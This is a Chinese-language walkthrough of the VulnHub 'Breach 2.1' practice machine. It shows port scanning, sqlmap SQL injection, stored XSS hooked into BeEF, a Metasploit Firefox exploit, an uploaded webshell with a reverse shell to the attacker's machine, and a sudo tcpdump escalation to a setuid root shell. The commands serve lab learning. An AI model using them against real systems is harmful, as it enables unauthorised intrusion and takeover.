vulnhub:https://www.vulnhub.com/entry/breach-21,159/
导入靶机,注意该靶机配置的是静态IP(192.168.110.151),所以必须设置网卡在192.168.110.0/24网段
虽说我们知道靶机地址,但是为了验证网络配置是否正确,我们还是扫描一下确保靶机存活
151存活,开始扫描端口(这个靶机端口很怪,服务也不常见,所以要加参数)
nmap -sV -p- 192.168.110.151
开了三个端口,只有SSH服务我们比较常用,没有网站服务所以直接上手SSH
ssh 192.168.110.151 -p 65535(并非SSH默认端口,所以要用-p参数指定端口连接)
弹出了一段信息,比较有用的是第四行,给出了peter账户,并且有一个灯下黑的密码"inthesource"
ssh peter@192.168.110.151 -p 65535
输入密码之后直接关闭连接,和之前做的一个靶机非常像,但是没有弹出错误提示说明密码正确,尝试指定/bin/bash也不起作用,再次收集端口信息
多出来一个80端口,开着http服务,那么就可以再来正常流程了
想着看下元素还被BYD作者嘲讽了
没什么信息的常规做法就是目录爆破,个人喜欢dirsearch
扫到一个blog页面,访问
网站存在一个搜索框,看到这个一般就会考虑XSS或者搜索型SQL注入,尝试发现确实存在SQL注入(输入单引号会导致不输出结果条数,正常至少输出一个0)
使用sqlmap来爆破数据库
python3 sqlmap.py -u http://192.168.110.151/blog/index.php?search=1 --batch
确认确实存在SQL注入后开始获取信息
存在一个数据库oscommerce,下面有个表osc_administrators,很明显是账户信息
这个密码应该是MD5加密,尝试用在线工具解密
解出来密码是32admin
在登陆界面发现并不是网站的账号密码
之后根据遇见框就测试原理,测出来注册界面存在存储型XSS漏洞(把XSS代码写进用户名,点击Members查看已注册用户会发现执行)
我们可以使用BEEF平台来利用XSS漏洞
开启beef的时候会给出上线的XSS命令,使用时要改成kaliIP
如果刚才尝试过XSS导致注册按钮消失了,删除Cookie就行
点击Members后kali会上线,靶机需要过一会才会上线
上线之后我们可以查看靶机浏览器信息,是火狐15,根据这个信息我们可以查找存在的漏洞
searchsploit firefox 15
可以看到找到了比较符合我们情况的漏洞,并且可以msf利用
msfconsole
search firefox 15
use 12
选择模块后查看需要的设置(建议设置URIPATH)
启动模块
http://192.168.110.128:8080/grass
在BEEF中给靶机设置重定向到生成的URL,执行(靶机会隔一会就下线,需要重新上线,所以可能要多试几次)
选择会话
这个获取的shell不稳定且不好用,利用msf其他模块获取一个新的shell
search post shell to meterpreter
use post/multi/manage/shell_to_meterpreter
设置lhost 和 session,运行(如果之前的session掉了,那就再获取一个吧,没法子)
顺利的话,可以看到多了个meterpeter类型的session,这个时候选用他就很稳定了(注意要先输入shell)
获取一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
翻找之后没有发现可以利用的sudo和suid提权,那我们先尝试解决ssh无法连接的问题
按照之前的经验,多半是bashrc文件的问题,直接覆盖
echo 'exec /bin/bash' > .bashrc
确实可以连接了,输入密码后会没有反应,按ctrl+c即可进入shell
可以看到home目录下还有两个用户,不过目前我们是没法切换的
查看一下靶机端口状态
看到还有一个2323端口我们之前扫不出来,尝试用各种方式访问一下,发现telnet可以显示一些信息
给出了一个坐标,经查询是Houston(休士顿,我们遇到麻烦了),估计是个密码(毕竟这里已经显示让登录了)
目前已知三个账户,都尝试一下发现是milton
问了我们一个问题,翻译过来是:这个订书机是谁的
返回peter的shell,查询文件信息里带stapler的文件,查到/usr/local/bin/cd.py
根据程序逻辑,答案是mine
常规提权还是没有权限,查看我们有什么文件
发现家目录下有个.profile文件,当我们尝试sudo的时候就会弹出不让用的信息
注释掉这几行,再次尝试
好吧还是不行,但是根据刚才那个文件,这个账户的sudo权限也不能拿来提权
在这个账户查看,发现还有个8888端口
点进oscommerce,发现一个网站
偶然发现/admin页面可以登录
之前翻网页配置的时候找到了mysql的配置文件,没有设置密码,所以可以直接登录
突然想起来我们一开始就爆到这个网站的密码了(哪个数据库和这个网站名字一样)
试了一下不对,又去数据库翻了一下也没啥,结果密码就是admin,可能之前数据库里拿出来的那个32有别的作用并非密码本身
网站存在文件上传功能点
文件上传路径为/includes/work,写个一句话木马传上去(eval不能用,建议system)
使用反弹shell命令反弹到kali的9876端口,kali监听
小提权
which python python -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm
发现这个账户存在sudo无密码命令,并且可以用于提权
根据提权命令
cd /tmp echo '#!/bin/bash' >> 1.sh echo 'cp /bin/bash /tmp/shell' >> 1.sh echo 'chmod +s /tmp/shell' >> 1.sh chmod +x 1.sh sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root
在之前的milton用户shell构造本地流量
telnet 127.0.0.1 2323
回到blumbergh
./shell -p
至此完成提权